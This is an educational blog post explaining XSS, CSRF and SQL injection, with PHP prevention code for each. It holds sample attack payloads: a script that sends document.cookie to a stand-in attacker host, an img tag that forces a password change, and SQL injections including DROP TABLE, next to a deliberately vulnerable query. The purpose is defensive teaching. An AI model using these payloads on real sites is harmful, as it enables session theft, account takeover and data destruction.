Common web security vulnerabilities: XSS, CSRF and SQL injection

Since I've been a web engineer, I have come across the most common security problems a web application may fall into. In this post, I'd like to explore the main ones and how to prevent them. Security on the web depends on a variety of instruments, including an elemental concept of trust called the same-origin policy. This policy states that if content from one site is granted permission to access resources (like cookies etc.) on a browser, then a client side script will be able to access this content only on the same protocol, host, and port. If any one of these differs, then the script is prevented from accessing the external elements.

Escaping

Before we start, let's briefly explain the concept of escaping: in this context, escaping refers to removing or substituting characters from a potentially dangerous string of characters. Depending on the context, this can include prepending escape characters to quotes (' will become \'), replacing < and > signs with their HTML entities, &lt and &gt, and removing <script> tags.

Cross Site Scripting (XSS) attack

In an XSS attack, a client-side script (for example a JavaScript) is injected into a web page, bypassing the same origin policy and occurs when malicious data is output from the trusted site. An XSS attack commonly steals cookies from the trusted site and then sends the data to the malicious site. The attacker needs to find a way to inject an unescaped client side script onto the page output.

Let's say that a shoddy web blog doesn't escape the user comments at the end of a blog post. Then, a malitious user would be able to input Javascript without it being filtered and escaped when the comment is displayed. If the user inputs the following:

<script type='text/javascript'>
	document.location = 'http://attackingsite.com/cookie_thief.php?cookies='+ document.cookie
</script>

Then, any user visiting the site will be sending their cookies to the attacking site without even noticing.

How to prevent

To prevent XSS we should escape any output data into which a user could inject malicious code. In PHP, HTML can be scaped from a string by using the function htmlspecialchars. So in this example, if our back end uses this function:

<?php

$comment = htmlspecialchars($_POST["comment"], ENT_QUOTES, "UTF-8" );

echo $comment;

HTML output of this would be:

&lt;script type&equals;&apos;text&sol;javascript&apos;&lt;
	document&period;location &equals; &apos;http&colon;&sol;&sol;attackingsite&period;com&sol;cookie_thief&period;php&quest;cookies&equals;&apos;&plus; document&period;cookie
&lt;&sol;script&lt;

And the string of characters displayed would then be:

<script type='text/javascript'>
	document.location = 'http://attackingsite.com/cookie_thief.php?cookies='+ document.cookie
</script>

Harmlessly exposing the atacker's intentions.

We can also sanitize strings by using the PHP library HTML Purifier. If we use a framework like Laravel, this problem is already taken care of by blade, its templating system. Using {{ $comment }} should get rid of the problem

Cross-Site Request Forgery (CSRF)

In a CSRF attack, a user (the victim), authenticated into a trusted service, would unknowingly submit a request to the trusted service from a malicious website under the attacker's control. In order for this attack to work, the attacker must know a reproducible web request that executes a specific action (for example, changing the user's password) on the trusted service. Then, a link to make this request can be embedded on a website that is controlled by the attacker. If the victim is authenticated to the trusted service by a cookie stored in the browser, the HTTP request could be sent and cause the unwanted action.

Imagine that a user visits a website containing the following:

<img src="http://myemail.com/passwordchange.php?newpassword=gotcha!"/>

If the user is authenticated on "myemail.com", instead of fetching an image, the request to change the password could go through.

How to prevent

The most common technique used to prevent CSRF is to generate and store a secret session token when the session ID is generated. This secret token is included  with every request sent to the server. When a request is sent, the system makes sure that the token is present and matches the recorded value. In a simple PHP, this could be implemented like this:

<?php

session_start();
session_regenerate_id();
if (!isset($_SESSION['csrf_token']))
{
	$csrf_token = sha1( uniqid( rand(), true ) );
	$_SESSION['csrf_token'] = $csrf_token;
}

then, with every form, we should include the CSRF token as a hidden field:

<form>
	<input type="hidden" name="csrf_token" value="<?php echo $csrf_token; ?>" />
    <!-- ... -->
</form>

When the form is submitted, we validate that the sent token matches the one stored:

<?php

session_start();
if ($_POST['csrf_token'] != $_SESSION['csrf_token'])
{
	echo "Token not present or is not valid";
    exit(1);
}

//  token is valid, continue processing the request

SQL injection

SQL injection may happen when input data is not escaped before being inserted into a database query. Let's see an example, if our code has a line like this:

<?php

$sqlQuery = "SELECT * FROM users WHERE username = '{$_POST['username']}'";

If a malicious user can guess database table field named corresponding to form input, then injection can occur. For example, if we set the username field on the form to petesmith' OR 1=1, as the input is not being escaped, the result query string would result on:

SELECT * FROM users WHERE username = 'petesmith' OR 1=1;

As the expresion on the right of the OR is always true, this would expose the whole users table to the malicious user. An even worse attack would be to input petersmith'; DROP TABLE users;, which would result on:

SELECT * FROM users WHERE username = 'petesmith'; DROP TABLE users;

which would drop the whole users table.

by xkcd

How to prevent

This kind of attack can be prevented  by using parameterized statements instead of embedding user input in the SQL statement.  In PHP, we can use PDO placeholders:

<?php

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user ");  
$stmt->bindParam(':user', $_POST['username']);
$stmt->execute();

Conclusion

I hope this post helps the reader understand the three main web security pitfalls a web application may suffer if they are not prepared, including a tip on how to prevent them. From this we can conclude that prevention is the the way to fight them and filtering and not trusting input helps solving these issues.

Show Comments